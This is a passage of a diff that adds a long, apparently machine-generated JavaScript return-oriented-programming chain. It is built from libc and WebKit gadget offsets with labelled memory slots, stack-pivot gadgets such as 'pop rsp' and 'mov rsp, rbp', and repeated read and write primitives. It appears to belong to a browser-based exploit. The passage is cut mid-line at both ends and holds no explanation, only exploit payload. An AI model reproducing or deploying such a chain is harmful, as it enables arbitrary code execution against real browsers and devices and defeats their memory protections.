al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+124008, //L1515 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1515: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1516: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+124168, //L1520 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+124136, //L1518 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+124152, //L1519 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1518: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1519: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1520: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+124240, //L1521 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1521: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+124296, //L1523 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1523: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+124408, //L1527 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L1525: +db([33, 0]); // 0x21 +set_gadget(libc_base+772328,); //pop rcx +//L1526: +db([8, 0]); // 0x8 +set_gadget(webkit_base+3789839,); //pop r11 +//L1527: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+1537212, //imul rax, rcx +libc_base+713278, //pop rsi +ropchain+124488, //L1528 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+124504, //L1529 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1528: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1529: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+124592, //L1530 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1530: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+124648, //L1532 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1532: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+124720, //L1534 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1534: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+124776, //L1536 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1536: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+2989859, //mov [rax], rcx +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +//L1538: +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+124928, //L1540 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L1539: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L1540: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+125032, //L1543 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+125016, //L1542 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1542: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1543: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+125176, //L1547 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+125144, //L1545 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+125160, //L1546 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1545: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1546: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1547: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+125248, //L1548 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1548: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+125304, //L1550 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1550: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+125416, //L1554 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L1552: +db([34, 0]); // 0x22 +set_gadget(libc_base+772328,); //pop rcx +//L1553: +db([8, 0]); // 0x8 +set_gadget(webkit_base+3789839,); //pop r11 +//L1554: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+1537212, //imul rax, rcx +libc_base+713278, //pop rsi +ropchain+125496, //L1555 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+125512, //L1556 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1555: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1556: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+125600, //L1557 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1557: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+125656, //L1559 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1559: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+125728, //L1561 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1561: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+125784, //L1563 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1563: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+2989859, //mov [rax], rcx +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +//L1565: +libc_base+489696, //pop rsp +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+125936, //L1567 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L1566: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L1567: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+126040, //L1570 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+126024, //L1569 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1569: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1570: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+126184, //L1574 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+126152, //L1572 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+126168, //L1573 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1572: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1573: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1574: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+126256, //L1575 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1575: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+126312, //L1577 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1577: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+126424, //L1581 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L1579: +db([35, 0]); // 0x23 +set_gadget(libc_base+772328,); //pop rcx +//L1580: +db([8, 0]); // 0x8 +set_gadget(webkit_base+3789839,); //pop r11 +//L1581: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+1537212, //imul rax, rcx +libc_base+713278, //pop rsi +ropchain+126504, //L1582 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+126520, //L1583 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1582: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1583: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+126608, //L1584 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1584: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+126664, //L1586 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1586: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+126736, //L1588 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1588: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+126792, //L1590 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1590: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+2989859, //mov [rax], rcx +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+126896, //L1593 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L1592: +db([24, 0]); // 0x18 +set_gadget(libc_base+772328,); //pop rcx +//L1593: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+127000, //L1596 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+126984, //L1595 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1595: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1596: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+127144, //L1600 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+127112, //L1598 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+127128, //L1599 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1598: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1599: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1600: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+127240, //L1602 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L1601: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L1602: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+127344, //L1605 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+127328, //L1604 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1604: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1605: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+127488, //L1609 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+127456, //L1607 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+127472, //L1608 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1607: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1608: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1609: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+127560, //L1610 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1610: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+127616, //L1612 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1612: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+127728, //L1616 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L1614: +db([36, 0]); // 0x24 +set_gadget(libc_base+772328,); //pop rcx +//L1615: +db([8, 0]); // 0x8 +set_gadget(webkit_base+3789839,); //pop r11 +//L1616: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+1537212, //imul rax, rcx +libc_base+713278, //pop rsi +ropchain+127808, //L1617 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+127824, //L1618 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1617: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1618: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+127912, //L1619 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1619: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+127968, //L1621 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1621: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+128040, //L1623 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1623: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+128096, //L1625 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1625: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+2989859, //mov [rax], rcx +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +//L1627: +libc_base+863109, //mov rax, rcx +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+128248, //L1629 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L1628: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L1629: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+128352, //L1632 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+128336, //L1631 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1631: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1632: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+128496, //L1636 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+128464, //L1634 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+128480, //L1635 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1634: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1635: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1636: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+128568, //L1637 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1637: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+128624, //L1639 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1639: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+128736, //L1643 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L1641: +db([37, 0]); // 0x25 +set_gadget(libc_base+772328,); //pop rcx +//L1642: +db([8, 0]); // 0x8 +set_gadget(webkit_base+3789839,); //pop r11 +//L1643: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+1537212, //imul rax, rcx +libc_base+713278, //pop rsi +ropchain+128816, //L1644 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+128832, //L1645 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1644: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1645: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+128920, //L1646 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1646: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+128976, //L1648 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1648: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+129048, //L1650 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1650: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+129104, //L1652 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1652: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+2989859, //mov [rax], rcx +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +//L1654: +libc_base+765209, //mov rsp, rbp ; pop rbp +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+129256, //L1656 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L1655: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L1656: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+129360, //L1659 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+129344, //L1658 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1658: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1659: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+129504, //L1663 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+129472, //L1661 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+129488, //L1662 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1661: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1662: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1663: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+129576, //L1664 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1664: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+129632, //L1666 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1666: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi 